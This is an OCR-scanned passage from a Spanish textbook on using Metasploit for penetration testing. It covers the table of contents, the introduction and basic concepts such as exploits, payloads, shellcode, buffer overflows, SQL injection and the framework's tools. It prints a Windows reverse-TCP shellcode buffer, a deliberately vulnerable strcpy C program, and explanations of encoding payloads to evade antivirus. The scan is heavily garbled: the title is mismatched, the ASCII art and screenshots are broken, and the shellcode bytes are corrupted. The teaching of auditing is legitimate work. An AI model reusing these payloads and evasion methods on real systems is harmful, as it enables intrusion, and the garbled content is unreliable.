1 Tor y Deep Web
1 Tor y Deep Web
1 Tor y Deep Web
Cherna Alonso
Índice
Indice
Introducción ..................................................................................................................................................... 11
Capítulo I
Conceptos básicos............................................................................................................................................. 13
1. Definiciones ..................................................................................................................................................................... 13
2. Versiones de Metasploit ................................................................................................................................................... 23
3. El test de intrusión o pentest .......................................................: .................................................................................... 25
4. Fases del test de intrusión ................................................................................................................................................ 26
5. Comandos básicos de Metasploit..................................................................................................................................... 29
6. otas éticas ...................................................................................................................................................................... 39
Capítulo II
Preliminares ...................................................................................................................................................... 41
l . Ámbito ............................................................................................................................................................................ 41
2. Recogida de información ................................................................................................................................................. 42
3. Escáneres de vulnerabilidades ......................................................................................................................................... 53
4. Escáneres dirigidos a servicios ........................................................................................................................................ 62
Capítulo m
El arte de la intrusión ...................................................................................................................................... 65
1. Ámbito ............................................................................................................................................................................. 65
2. Payloads ........................................................................................................................................................................... 66
3. Intrusión sin interacción ................................................................................................................................................. 68
4. Intrusión con interacción ................................................................................................................................................. 72
5. Automatizando las órdenes .............................................................................................................................................. 82
6. Servidores Rogue ............................................................................................................................................................. 86
7. Personalización y actualización del framework .............................................................................................................. 93
Capítulo IV
Meterpreter & Post-Explotation..................................................................................................................... 97
1. Ámbito ............................................................................................................................................................................. 97
2. Comandos básicos de Meterpreter ................................................................................................................................... 98
3. Scripts de Meterpreter. ................................................................................................................................................... 108
4. Módulos de Meterpreter ................................................................................................................................................ 122
5. Pass the hash .................................................................................................................................................................. 13 l
6. Pivoting .......................................................................................................................................................................... 138
7. Persistencia .................................................................................................................................................................... 138
8. Migración a un proceso ................................................................................................................................................. 143
•••
@:@ Metasploit para Pentesters
9. Scraper........................................................................................................................................................................... 145
10. Actualizando de cmd a Meterpreter............................................................................................................................. 146
11. Railgun......................................................................................................................................................................... 146
12. Otras PoC interesantes................................................................................................................................................. 148
Capítulo V
Otras msf tools................................................................................................................................................ 161
l. msftools......................................................................................................................................................................... 161
2. Msfcli: El poder de la línea............................................................................................................................................ 162
3. Msfpayload: payload a gusto del consumidor ............................................................................................................... 170
4. Msfencode: Evadir la detección..................................................................................................................................... 18 l
5. Msfvenom: Payload y evasión....................................................................................................................................... 190
6. Msfd: Gestión remota.................................................................................................................................................... 194
7. Manipulación de memoria............................ ................................................................................................................ 197
Capítulo VI
Ingeniería social con SET .............................................................................................................................. 199
1. Ingeniería social............................................................................................................................................................. 199
2. ¿Qué es y qué propone? ................................................................................................................................................. 200
3. Vector de ataque: phishing............................................................................................................................................. 203
4. Vector de ataque: web.................................................................................................................................................... 207
5. Medios infectados......................................................................'.................................................................................... 214
6. Payloads como ejecutables ............................................................................................................................................ 215
7. Dispositivos USB HID .................................................................................................................................................. 215
8. Ataques por correo electrónico...................................................................................................................................... 216
9. Falsificación de SMS..................................................................................................................................................... 217
10. Vector de ataque: Wireless........................................................................................................................................... 218
11. Vector de ataque QRCode............................................................................................................................................ 220
12. Vector de ataque PowerShell ....................................................................................................................................... 221
13. PoC: El mundo del spoofing y SET............................................................................................................................. 223
Capítulo VII
Más allá con Fast-Track ................................................................................................................................ 227
1. ¿Qué es y para qué sirve? .............................................................................................................................................. 227
2. Fast-Track y sus posibles ejecuciones ........................................................................................................................... 227
3. Tutoriales en Fast-Track ................................................................................................................................................ 232
4. Configuración de Fast-Track ......................................................................................................................................... 233
5. Funcionalidades............................................................................................................................................................. 234
6. Conciencia sobre Fast-Track ......................................................................................................................................... 242
7. Reflexión sobre herramientas externas a Metasploit ..................................................................................................... 243
Capítulo VIII
Metasploit en dispositivos móviles................................................................................................................ 245
l. Introducción................................................................................................................................................................... 245
2. Instalación de Metasploit en dispositivos iOS............................................................................................................... 246
3. Ataques en dispositivos iOS .......................................................................................................................................... 249
4. Conclusiones.................................................................................................................................................................. 264
•••
Índice
Capítulo IX
Introducción al desarrollo en Metasploit ..................................................................................................... 265
1. ¿Por qué escogieron Ruby? ........................................................................................................................................... 265
2. Módulos ......................................................................................................................................................................... 266
3. Meterpreter .................................................................................................................................................................... 275
4. Montaje de tu propio repositorio ................................................................................................................................... 288
•••
Introducción Mil
Introducción
El presente libro tiene como objetivo proporcionar una visión global sobre el framework de
pentesting conocido como Metasploit. Esta herramienta dispone de gran cantidad de funcionalidades
las cuales son muy utilizadas en el día a día por los auditores de seguridad para llevar a cabo sus
test de intrusión. Es esta variedad una de las principales características importantes que proporciona
Metasploit dando al usuario el poder para utilizar exploits de calidad comercial, pero además toda
una infraestructura para realizar otras necesidades del auditor como pueden ser la recolección de
información, escaneas en busca de vulnerabilidades, la post-explotación, la automatización de las
tareas de auditoria o la generación de sus propios exploits.
La seguridad es una de las ramas de la informática que más rápido avanza, y es por ello que se
debe estar bien informado de las vulnerabilidades que salen diariamente, por ejemplo, mediante
el uso de listas de seguridad. Imagínese llegando a una empresa la cual debe ser auditada, ya sea
caja blanca o negra, y debe enfrentarse a una gran cantidad de equipos, los cuales serán puestos a
prueba por su técnica y destreza en el arte de la intrusión. Las herramientas con las que cuenta es un
factor indispensable para que la auditoria llegue a buen puerto, pero además, debe disponer de los
conocimientos para poder ejecutar dichas herramientas con coherencia. Una cosa debe prevalecer y
es que el auditor debe realizar una serie de fases previas antes de lanzar sus herramientas sobre los
sistemas, ¿Metasploit engloba el proceso completo? Lógicamente no., pero se estudiará como este
framework puede realizar fases previas a la explotación del sistema, lo que significa que Metasploit
no es sólo explotación.
Imagínese que sigue en la empresa objeto de la auditoria de seguridad, y tras marcarse unos objetivos,
decide emprender el proceso de recolección de información. Este proceso puede devolver desde
gran cantidad de datos relevantes sobre la empresa objeto, o una mínima información aparentemente
no muy relevante. Tras el análisis de esta información observa que existen máquinas o sistemas que
pueden encontrarse en riesgo, ya que no disponen de ciertas actualizaciones en algunas aplicaciones
o en el sistema operativo. Decide lanzar el escaneo de vulnerabilidades, con la información recogida
anteriormente, que tras un análisis exhaustivo han aportado datos interesantes. Tras el escaneo se
ha confirmado que los sistemas son vulnerables, ahora tiene esa sensación de que esta cerca de
conseguir uno de los grandes objetivos que es lograr entrar en el sistema y demostrar a quién le
contrató que sus sistemas no eran todo lo seguro que él, en principio, pensaba.
Se encuentra cerca del éxtasis, la intrusión en el sistema ajeno, el sistema prohibido, su reto, su meta.
Conoce el punto débil del sistema y dispone de las herramientas y conocimientos para entrar en él.
Es la hora de lanzar el exploit, ese pequeño código que te hace restar un objetivo en tu lista inicial.
Tras la ejecución del exploit, dispone de una shell o, en el mejor de los casos, un meterpreter, el cual
•••
l•W Metasploit para Pentesters
Ahora, tiene un equipo sobre el que poder elevar privilegios, obtener otras cuentas, poder llegar a
lugares donde antes no podía llegar, y en definitiva seguir husmeando en esa gran red interna que
dispone la empresa objeto. Puede hacerse pasar por otros usuarios, acceder a recursos compartidos,
puede haberse convertido en el nuevo root de la empresa. La post-explotación es un proceso que le
ha ayudado a sentirse como en casa en un lugar tan extraño y ajeno al auditor. Pero todo toca a su fin,
su jornada laboral termina y debe preparar el informe con todo lo que ha hecho y ha conseguido en
el día de hoy. Una parte muy necesaria, ya que debe informar de dónde están los fallos de seguridad
y dar su recomendación para que puedan ser evitados en un futuro próximo.
El libro presenta la exposición de ideas claras y de manera sencilla, mediante el uso de ejemplos
prácticos, sobre Metasploit framework, sin dejar al margen el entorno sobre el que Metasploit se
ejecuta que es el test de intrusión. Hoy en día, los auditores no conocen el enorme potencial que
aporta el framework, o simplemente no disponen de los conocimientos técnicos para obtener el
máximo potencial a esta herramienta. Es por ello que es deseo del autor que tras la lectura de
este libro, el auditor encuentre en Metasploit su navaja suiza, siempre complementada con otras
herramientas, para el proceso de auditoría de seguridad.
•••
Capítulo J. Conceptos básicos Mil
Capítulo I
Conceptos básicos
l. Definiciones
Si es la primera vez que usa Metasploit debe conocer de qué consta este framework antes de poder
trabajar con él. Metasploit puede ser tachado como un entorno de dificil manejo y configuración
pero a través de las hojas de este libro podrá descubrir que en la mayoría de los casos es de sencillo
manejo y muy flexible. Las definiciones que se exponen a continuación le ayudan a distinguir
distintas herramientas que componen elframework, hay que tener en cuenta que éste se actualiza en
pequeños períodos de tiempo y se implementan nuevas herramientas que se introducen en él.
El software es desarrollado por seres humanos por lo que es imperfecto por naturaleza, son esos fallos
de programación los que en muchas ocasiones provocan que el software disponga implícitamente de
vulnerabilidades. Si un atacante detecta esa vulnerabilidad puede disponer de una puerta de acceso
al sistema en el mejor de los casos.
Bug
Un bug es el resultado de un fallo de programación durante el proceso de creación o desarrollo de
las aplicaciones. Este fallo puede haberse introducido en cualquiera de las etapas del ciclo de vida
de una aplicación, aunque, por lo general ocurre en la etapa de implementación.
•••
''' Metasploit para Pentesters
Exploit
Exploit viene del verbo inglés to exploit, que significa explotar o aprovechar. Un exploit es un
código escrito con el fin de aprovechar un error de programación y la intención de obtener diversos
privilegios. Un buen número de exploits tienen su origen en un conjunto de fallos de programación
similares.
Normalmente, con la ejecución de un exploit el atacante busca tomar el control de una máquina de
manera ilícita, realizar una escalada de privilegios en un sistema local sobre el que no dispone de
ellos o sobre una máquina remota comprometida, o realizar un ataque de denegación de servicio,
causando la caída de una aplicación o un sistema, evitando el normal funcionamiento de un servicio.
Por lo general el lenguaje estrella para desarrollo un exploit es el lenguaje C. También se pueden
realizar exploits en otros lenguajes como Ruby, Java o Python, pero como se ha indicado
anteriormente lo normal es la escritura de éstos en C.
Algunos de los grupos de vulnerabilidades más conocidos son:
Vulnerabilidades de desbordamiento de buffer.
Vulnerabilidades de error de formato de cadena oformat string bugs.
Vulnerabilidades de Cross Site Scripting, XSS.
Vulnerabilidades de SQL Injection.
Payload
Es la parte del código de un exploit que tiene como objetivo ejecutarse en la máquina víctima para
realizar la acción maliciosa. La manera óptima para entender el significado de payload es mediante
el uso de ejemplos. Un payload puede ser el código que se inyecta en una máquina a través de
un exploit, y el cual permite al atacante ejecutar código en la máquina remota. Ese código puede
ser el que implemente una shell inversa, es decir, la máquina víctima lanzará una conexión hacia
la máquina del atacante devolviéndole una línea de comandos para que pueda interactuar con la
máquina vulnerada.
Otro ejemplo de payload puede ser una bind shell, es decir, una vez se ha introducido el código a
ejecutar en la máquina remota éste deja a la escucha en un puerto de la máquina una shell. El atacante
se conectará a dicho puerto mediante conexión directa y dispondrá de acceso y ciertos privilegios.
Un payload también puede ser, simplemente, conseguir ejecutar en la máquina remota una secuencia
de comandos sobre la máquina víctima. Por ejemplo, para realizar una denegación de servicio sobre
una aplicación en una máquina vulnerable.
Shellcode
Es un conjunto de instrucciones usadas como un payload cuando se produce el proceso de explotación
del sistema. La shellcode son órdenes, generalmente, escritas en lenguaje ensamblador. Para generar
•••
Capítulo J. Conceptos básicos -�--
este tipo de código, normalmente, se utiliza un lenguaje de mayor nivel como puede ser C. Después,
este código al ser compilado, genera el código de máquina resultante, el cual es denominado opcode.
Las shellcodes deben ser de tamaño pequeño para poder ser inyectadas dentro de la pila de
la aplicación, que es generalmente un espacio reducido. Es muy común, que en el proceso de
compilación de la shellcode se generen los llamados bytes nulos, los cuales provocan la frenada
de la ejecución del código de ésta. El usuario que genere el código debe tener en cuenta esto, y.
debe encargarse de remplazar las instrucciones que generan estos bytes nulos por otras que no los
produzcan, o realizando una operación XOR, y de ésta forma conseguir que la shellcode se ejecute
sin problemas.
/*
* windows/shell/reverse tcp - 290 bytes (stage 1)
* http: //w\<IW.metasploit-:-com
* LHOST=l92.168 .1.1, LPORT=4444, ReverseconnectRetries=S,
* EXITFUNC=process, InitialAutoRunSc ript=, AutoRunscript=
*/
unsigned cha r buf [ J =
• \xfc\xe8\x89\x99\x09\x00\x69\x89\xe5\x31\xd2\x64\x8b\x52\x39"
"\x8b\x52\x0c\x8b\x52\xl4\x8b\x72\x28\x9f\xb7\x4a\X26\x31\xff"
"\x31\xc0\xac\x3c\x6l\x7c\x02\x2c\x20\xcl\xcf\xed\x91\xc7\xe2•
"\xf9\x52\x57\x8b\x52\xHl\x8b\x42\x3c\x91\xd9\xBb\x46\x78\x85"
"\xc0\x74\x4a\x01\xd8\x50\x8b\x48\xl8\x8b\x58\x29\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x3l\xc9\xac\xcl\xcf\x9d •
"\x0l\xc7\x38\xe0\x75\xf4\x93\x7d\xf8\x3b\x7d\x24\x75\xe2\x58 •
"\x8b\x58\x24\x01\xd3\x66\x8b\x9c\x4b\xllb\x58\xlc\x91\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe9\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\X33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x97\xff\xd5\xbB\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x88\x6b\x00\xff\xd5\x50\X58"
"\x58\x50\x49\x50\x49\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a"
"\x05\x68\xc0\xa8\x91\x01\x68\x02\x00\xll\x5c\x89\xe6\x6a\x19"
"\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\X74\ x0c\xff\x4e •
"\x08\x75\xec\x68\xf6\xb5\xa2\x56\xff\xd5\x6a\X06\x6a\x94\x56"
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x99\xl0"
"\x00\x00\x56\x6a\x00\x68\x5B\xa4\x53\xe5\xff\xd5\x93\x53\x6a"
"\x60\x56\x53\x57\x6B\x02\xd9\xc8\x5 f\xff\xd5\xBl\xc3 \x29\xc6"
"\x85\xf6\x75\xec\xc3";
Fig 1.01: Shel/code generada con Msfpayload.
0-day exploit
Un 0-day exploit es una de las características más peligrosas en el ámbito de la seguridad informática.
Un exploit de día cero, o 0-day exploit, es un código malicioso que permitirá a un atacante obtener
el control remoto de un sistema. Como particularidad hay que recalcar que la vulnerabilidad de la
que se aprovecha este exploit es desconocida por los usuarios y el fabricante del producto. Es este
hecho el que hace un 0-day exploit como un instrumento muy peligroso en una guerra informática.
Este tipo de exploits disponen de una ventana temporal existente entre el tiempo en el que se publica
la amenaza o exploit y el tiempo en el que aparecen los códigos que corrigen dicha vulnerabilidad.
En general, los parches o actualizaciones son desarrollados por los responsables de la aplicación.
Es importante que las empresas dispongan de planes de actuación ante estos hechos, ya que sus
sistemas pueden quedar expuestos a las amenazas desconocidas.
•••
liM Metasploit para Pentesters
Buffer Overflow
Esta vulnerabilidad, bastante común y con mucha historia en la informática, ocurre cuando una
aplicación no comprueba correctamente el número de bytes que son almacenados en una dirección
de memoria, o buffer, previamente reservada. De este modo, la cantidad de bytes que se van a
almacenar son superiores a la cantidad reservada para tal fin.
Para que se pueda entender mejor se propone el siguiente código en lenguaje C. El código muestra
como se copiará el primer argumento que se le pasa a la aplicación argv[J] a un buffer reservado
y estático con 10 bytes de tipo char. No existe ninguna comprobación de que la cadena que se
pasa al programa mediante la variable argv[J] sea igual o inferior a 10 caracteres. ¿Es este código
vulnerable?
# include <stdio.h>
int main (int argc, char **argv)
char buf[10];
printf("holamundo");
strcpy(buf,argv[l]);
return O;
Este programa no limita la cantidad de bytes que se intentarán almacenar en la memoria reservada
para el buffer, por lo que se podrá escribir fuera de éste. Al escribir en las direcciones de memoria
adyacentes al buffer se podrá inyectar código ejecutable para conseguir ciertos privilegios sobre el
proceso y sobre la máquina objeto, o simplemente ocasionar un crash o caída de la aplicación.
SQL Injection
Es una de las grandes vulnerabilidades informáticas de la historia. Hoy en día, copa los primeros
puestos en número de vulnerabilidades conocidas, junto a XSS y buffer overflow. Consiste en la
inyección de código SQL en el nivel de validación de una aplicación que realiza consultas sobre una
base de datos.
En otras palabras, la aplicación no chequea o filtra las variables utilizadas por el programa para
recibir los parámetros y se consigue inyectar código SQL dentro del propio código de la aplicación.
Normalmente es ejecutada en aplicaciones web, con lo que se puede obtener información que existe
en la base de datos del sitio en cuestión. También se puede encontrar en aplicaciones de escritorio.
•••
Capitulo J. Conceptos básicos Mil
Metasploit
Es el nombre que recibe el proyecto, open source, sobre seguridad informática. Este proyecto facilita
el trabajo al auditor proporcionando información sobre vulnerabilidades de seguridad, ayudando a
explotarlas en los procesos de pentesting o test de intrusión.
Módulos
Metasploit dispone de módulos los cuales ayudan a aumentar de manera sencilla las funcionalidades
del framework. Un módulo es una pieza o bloque de código que implementa una o varias
funcionalidades, como puede ser la ejecución de un exploit concreto o la realización de un escaneo
sobre máquinas remotas. Los módulos que componen elframework son el núcleo de Metasploit y
los que hacen que sea tan poderoso. Éstos pueden ser desarrollados por los usuarios y de esta manera
ampliar elframework de manera personalizada, y en función de las necesidades del auditor.
Interfaces Metasploit
Metasploit dispone de varias interfaces con las que interactuar con elframework. El usuario puede
interactuar mediante una interfaz gráfica, línea de comandos o consola. También se dispone de la
posibilidad de acceder directamente a las funciones y módulos que componen el framework. Esta
acción puede resultar muy útil para utilizar ciertos exploits sin necesidad de lanzar todo el entorno .
•••
if:i Metasploit para Pentesters
La primera interfaz que se presenta es msfconsole. Es el todo en uno del framework, el auditor
dispone de una consola desde la cual puede acceder a todas las opciones disponibles de Metasploit.
La consola dispone de un gran número de comandos, los cuales disponen de una sintaxis sencilla
y fácil de recordar. Esta interfaz se lanza ejecutando el comando msfconsole en una terminal, si se
encuentra en Linux.
-
root@root: /pentest/exploits/framework3# msfconso le
-
fl II flllflll## !1#1#1# !111 flllfl# 1111#!1# # flflflll # 1###111
fl# tJ# fl fl fl 11 11 # 11# # ## 11
# #11 fl !1##1111 # # # # ## 11 ¡¡ 11 #
# ## # ##1#1## # #IJ#f/11 # # ## #
# ## # 11 11 # # # # # 1111 11
# # #tJ##tJ# # 11 # # ###### #### # #
msf >
Fig 1.03: Consola de Metasploit framework.
La segunda interfaz que se presenta es Armitage. Esta interfaz proporciona un entorno gráfico e
intuitivo al auditor para llevar a cabo el test de intrusión y entender el hacking de manera sencilla.
Esta interfaz se lanza ejecutando el comando armitage en una terminal.
.. fii ai><
.. íii bsdi
.. íiii dialup
.. ¡j¡ freebsd
.. lii hpux
.. lii irix
.. ¡j¡ linux
.. íiiimulti
.. íiii netware
.. íiii osx
.. lii solaris
.. íiii unlx
.. íiii windows
.. ¡j¡ payload
.. íiii post
Console X Services X
, 1net6 addr: ::1/128 Scope:Host
¡
UP LOOPBACK RUNNING KTU:16436 Hetric:1
RX packets:80254 errors:O dropped:O overruns:O frame:O
rx ��c�ets:�0�54 err�rs:� dropped:O overruns:O carrier:O
,
I msf exploit(ms08_067_netapi) >
Fig 1.04: Interfaz gráfica Armitage.
•••
-Capítulo J. Conceptos básicos iéi
La tercera interfaz que se presenta es la web UI de Metasploit. Con esta interfaz se puede gestionar
el test de intrusión de manera remota, sin necesidad de disponer delframework en local, pudiendo
realizar casi todas las opciones que pueden realizarse desde la consola.
�met�sploir
""1 commun1ty
a Overview ts Anafysis 8 Sessions ;j:Campaigns * Web Apps Uodules Tags ¡]) Reports ¡¡;;¡ Tasks
Home default Hosts
Show�entries
E:] IP Address Mame OSlfame Versk>n Purpose Services Vulns Notes Updated
� 192168.1121 xP
l:J MJCrUSOff Wndows (XP)
71T1flutesego
(VirtualBox)
Showing 1 to 1 of 1 entries
La cuarta interfaz que se presenta es msfcli. Esta interfaz no permite la interacción directa, está
pensada para automatizar la explotación de los sistemas. Esta interfaz se lanza ejecutando el comando
msfcli, el cual dispone de un parámetro en el que se indica el módulo que se requiere, módulo exploit
o auxiliar, y opciones en función de lo que el auditor necesite. Más adelante se especificará en mayor
detalle esta herramienta.
,-, o
__ ,_ , , _ 1 1 _ -'-
/ 11 11 1 I/ 1 I I I \_I! \_I! I \_I I
- ----
1 11 /I /\ 11 I \! 1-I 1 /\ I 1 11 I
1,
-- --
\I
•••
específicas delframework. Estas herramientas pueden ser utilizadas en situaciones específicas por
Metasploit para Pentesters
parte del usuario, sin necesidad de lanzar la consola y cargar el entorno al completo. Se pretende dar
a conocer y definir dichas herramientas_,_explicándose con mayor detalle más adelante.
Msfpayload
Es una herramienta orientada a todo lo relacionado con el ámbito de las shellcodes. Msfpayload
es capaz de generar shellcodes para distintos lenguajes de programación, ejecutables que inyecten
el código malicioso en la máquina víctima tras su ejecución, listar las shellcodes disponibles en
Metasploit, son sus principales funcionalidades. Normalmente, se utiliza para generar el código
que se utilizará con un exploit que no se encuentre en elframework, pero también puede ayudar al
auditor para probar los diferentes tipos shellcodes.
Msfencode
Esta herramienta se encarga de dificultar a los sistemas de intrusión, IDS, e infección, antivirus, la
detección del payload. Además, permite eliminar los bytes nulos que se generan en la creación de
una shellcode. ¿En qué se basa msfencode? Se dispone de una serie de encoders o codificadores para
ofuscar de algún modo estos payloads con los objetivos nombrados anteriormente.
msfvenom
Esta herramienta unifica las aplicaciones msfencode y msfpayload. Su principal ventaja es disponer
de ambos comandos en una sola instancia y un incremento de velocidad en la generación de
las acciones. Simplemente, se puede tratar dicha herramienta como una ayuda al auditor para
disponer de todo lo necesario para generar los payloads y codificarlos o cifrarlos desde una misma
herramienta sin necesidad de utilizar formatos intermedios.
Msfpescan y msfelfscan
La herramienta msfpescan permite escanear ficheros ejecutables o DLLs de Windows para encontrar
instrucciones de código máquina sobre una imagen basada en memoria. Por otro lado la herramienta
msfelfscan permite realizar las mismas tareas pero sobre las aplicaciones ELF en sistemas operativos
Linux.
Msfrop
Hoy en día los desarrolladores de exploits se encuentran con DEP(Data Execution Prevention),
habilitado por defecto en los sistemas operativos más nuevos. DEP previene la ejecución del
shellcode en la zona de memoria denominada como pila. En este punto los desarrolladores se vieron
obligados a buscar como voltear esta mitigación, desarrollando la llamada ROP(Retum-oriented
programrning). El payload ROP se crea utilizando conjuntos de instrucciones ya existentes en
binarios en modo no ASLR (Address Space Layout Randomization), y de este modo conseguir que
•••
Capítulo 1. Conceptos básicos MJI
el shellcode sea ejecutable. Cada conjunto conseguido debe acabar con la instrucción RETN para
continuar con la cadena ROP. Se puede encontrar que este tipo de conjuntos se llaman gadgets.
La herramienta msfrop realiza un análisis sobre el binario que se le pasa y tras el procedimiento
devolverá los gadgets utilizables.
Msfd
Esta herramienta proporciona un demonio o servicio de Metasploit el cual genera un listener en un
puerto. Los clientes podrán conectar con este servicio y disponer de su propia interfaz de consola,
hay que tener en cuenta que todos los clientes utilizan la misma instancia delframework.
Los clientes suelen conectarse a través de la famosa herramienta netcat, indicando la dirección IP y
el puerto. Este servicio da flexibilidad y la posibilidad de utilizar elframework en remoto con todas
las funcionalidades disponibles en local.
Arquitectura de Metasploit
En la imagen se puede visualizar la arquitectura de la que está compuesta Metasploit. En ella se
pueden observar 3 librerías críticas como son rex, msf core y msf base, las distintas interfaces ya
explicadas en este libro y los 6 tipos de módulos que se dispone en elframework. Las herramientas
MSF y los plugins externos también se especifican y se puede visualizar con que librería interactúan
directamente.
..
-
Ei+HE
-
:1 •
-
Fig 1.07: Arquitectura de Metasploit.
La librería rex es la básica y se encarga de la mayoría de las tareas, manejando sockets, protocolos,
por ejemplo, SSL, SMB, HTTP, y otras operaciones interesantes como son las codificaeiones, por
ejemplo, XOR, Base64 o Unicode.
•••
IJW Metasploit para Pentesters
Las librerías msf core y msf base proporcionan APis alframework. Las interfaces, módulos y plugins
interactúan con la API base y core que se encuentra en ambas librerías. Con este esquema se puede
entender que las librerías son el núcleo del framework y que todos los elementos de alrededor
dependen de éstas. Ruby es el lenguaje encargado de implementar el núcleo de Metasploit.
root@root: /pentest/exploits/framework3/modules# ls
auxiliary encoders exploits modules.rb.ts.rb nops payloads post
root@root:/pentest/exploits/framework3/modules# ls auxiliary/
admin crawler fuzzers pdf server spoof voip
client dos gather scanner sniffer sqli
root@root:/pentest/exploits/framework3/IIOdules# ls encoders/
cmd encoder test.rb.ut.rb generic mipsbe mipsle php ppc sparc x64 xB6
root@root:/pentest/exploits/frilllE!Work3/IIOdules# ls exploits/
aix dialup hpux linux netware solaris windows
bsdi freebsd irix multi osx unix
root@root:/pentest/exploits/framework3/modules# ls nops/
armle nop test.rb.ut.rb php ppc sparc tty x64 x86
root@root:/pentest/exploits/framework3/modules# ls payloads/
singles stagers stages
root@root:/pentest/exploits/framework3/modules# ls post/
multi osx windows
root@root:/pentest/exploits/frilllework3/modules#
Fig 1.08: Módulos de Metasploit.
A continuación se especifican los objetivos de los distintos módulos que componen el entorno. Hay
que destacar que estos módulos son totalmente escalables fácilmente.
El módulo encoders proporciona codificadores para ofuscar el código de las shellcodes y de este
modo evitar que los sistemas antivirus puedan detectar el payload. En la imagen se puede visualizar
las distintas categorías para los encoders, las más comunes son para arquitecturas x86 y x64.
El módulo exploits es, quizá, el más vistoso de todos, en él se encuentran los exploits alojados. Se
organizan mediante categorías, por sistema operativo o tecnología. Más adelante en el libro se verá
en profundidad distintos ataques y exploits utilizados durante un test de intrusión.
El módulo de payloads concentra los distintos códigos maliciosos ordenados también por categorías.
En este caso, las categorías son singles, stagers, stages, y como subcategorías se organizan por
payloads para distintas tecnologías o sistemas operativos.
•••
Capítulo l. Conceptos básicos MM
El módulo de post almacena en su interior código para ejecutar acciones referidas a la fase de post
explotación como son la escalada de privilegios, la impersonalización de tokens, captura de pruebas
sobre la máquina remota, etc. También se organiza por categorías, como puede ser por sistema
operativo.
El módulo de nops contiene código capaz de generar instrucciones NOP para los códigos maliciosos.
No existen gran cantidad de aplicaciones de este tipo en el módulo de nops. Están organizados por
arquitectura y lo más normal es utilizarlo para máquinas x86 o x64.
2. Versiones de Metasploit
Metasploit dispone de 3 versiones distintas y claramente diferenciadas en el mercado de la seguridad
informática. Las 3 versiones están disponibles a través del sitio web oficial http://www.metasploit.
com y disponen de distintas características y precios. Por otro lado en el sitio web definen a Metasploit
framework como la base de estas versiones, por lo que se puede ver como que todas disponen del
framework como base.
Anteriormente, se ha explicado que el proyecto es open source y como tal, se dispone de una primera
versión denominada Metasploit Community Edition. Esta edición está disponible para su descarga
gratuita para sistemas operativos Microsoft Windows y Linux. Normalmente, los usuarios utilizan
distribuciones Linux dónde ya se encuentra instalada, dichas distribuciones están orientadas a la
auditoría de seguridad informática. . En Windows es totalmente funcional, por lo que también se
recomiendan las pruebas en estos sistemas operativos, pero en este libro se ha utilizado, generalmente,
la distribución BackTrack.
En esta web se dispone de las otras 2 versiones de Metasploit las cuales ya son de pago. Se dispone
de Metasploit Pro y Metasploit Express que incorporan un mayor número de funcionalidades.
También se dispone de distintas versiones en función del sistema operativo.
Una interfaz gráfica intuitiva y limpia hace que sea mucho más sencillo comenzar con el
proceso de verificación de las vulnerabilidades.
Identificación de equipos en una red, puertos abiertos y fingerprint del sistema operativo
y servicios.
Integración con escáneres de vulnerabilidades. Importación a Metasploit de los datos
obtenidos con las herramientas de escaneo como son nmap y nessus, entre otros.
•••
WJI Metasploit para Pentesters
Base de datos de exploits, una de las más grandes a nivel mundial, para garantizar el éxito
en el proceso de intrusión. Cada módulo dispone de un ranking que indica la tasa de éxito y
el impacto de éste en el sistema.
Verificación sobre la posible explotación de una vulnerabilidad. Metasploit puede
verificar si una vulnerabilidad es explotable o no, sin necesidad de probar a lanzar el ataque.
Esto aumenta la productividad y reduce el coste, ayudando además a prevenir la violación de
datos internos de los sistemas.
Explotación en vivo y real de los activos de Ía empresa. En la mayoría de las ocasiones
demostrar que una vulnerabilidad es crítica para la empresa puede ayudar a convencer a los
propietarios de dichos activos.
El uso de esta versión es gratuita, incluso para las empresas, una solución ideal para
presupuestos ajustados.
Metasploit Pro
En esta edición se dispone de varias funcionalidades extra, además de las que se han visto en la
versión Community Edition. A continuación se exponen las funcionalidades adicionales que ofrece:
Auditoría de contraseñas. Se pueden identificar patrones de contraseñas débiles, las
cuales pueden ser vulneradas mediante ataques de fuerza bruta.
Auditoría de seguridad de la infraestructura IT. Se pueden realizar pruebas de intrusión
sobre dispositivos de red, equipos de escritorio, servidores dónde se incluyen las bases de
datos de éstos y las aplicaciones web. Este último punto es muy interesante para la auditoría
de aplicaciones web.
Social engineering. La ingeniería social es una técnica potente siempre que el auditor
sepa como explotarla, con ella se pone a prueba la concienciación del personal de la empresa.
Reporting. Informar a las partes interesadas, propietarios de los activos de la empresa en
cuestión, es algo fundamental y una de las características más interesantes.
Automatización de los test de intrusión. Las empresas, a menudo, sólo pueden aceptar
la comprobación in situ de los equipos, por temas económicos. Metasploit Pro reduce
drásticamente los costes automatizando estas pruebas.
Simulación de ataques. Una característica interesante es la simulación de ataques, desde
un punto de vista realista, tanto en redes IPv4 como IPv6.
Metasploit Express
Esta edición está pensada para los profesionales TI que necesitan trabajar con test de intrusión,
sin disponer de una amplia formación o el desarrollo requerido por Metasploit Framework. Esta
versión está pensada para no requerir de ciertas características avanzadas que se pueden encontrar
en Metasploit Pro. Las características base siguen siendo las mismas que en Community Edition.
También dispone de algunas de las características que se han comentado en Metasploit Pro, pero
•••
Capítulo l. Conceptos básicos M*W
como curiosidad se enuncia laevaluación de las redes IPv6, asegurando que la red está a salvo de los
ataques en redes 1Pv6, incluso si la red implementada en el entorno empresarial sea una red IPv4.
Para mayor información sobre características en todas las versiones se puede consultar la siguiente
dirección URL http://www. rapid7. com/products/penetration-testingjsp.
Un test de intrusión es un método que evalúa el nivel de seguridad de una red de equipos o sistemas
informáticos. Se realizará una simulación de un posible ataque informático con fines maliciosos,
tanto desde dentro de la organización objeto, (los cuales pueden disponer de un cierto nivel de
acceso a los sistemas), como desde fuera de la organización, (sin disponer de ningún tipo de acceso
autorizado a los sistemas). El rol que se dispone desde dentro de la organización es la de un miembro
de la empresa que se encuentra descontento y de esta manera se puede simular hasta dónde podría
llegar. Por otro lado el rol desde fuera la organización sería la visión de un hacker sin apenas
información de ésta, con lo que se pretende simular hasta dónde podría llegarse desde fuera.
El test de intrusión conlleva un análisis activo sobre los sistemas para encontrar información sobre
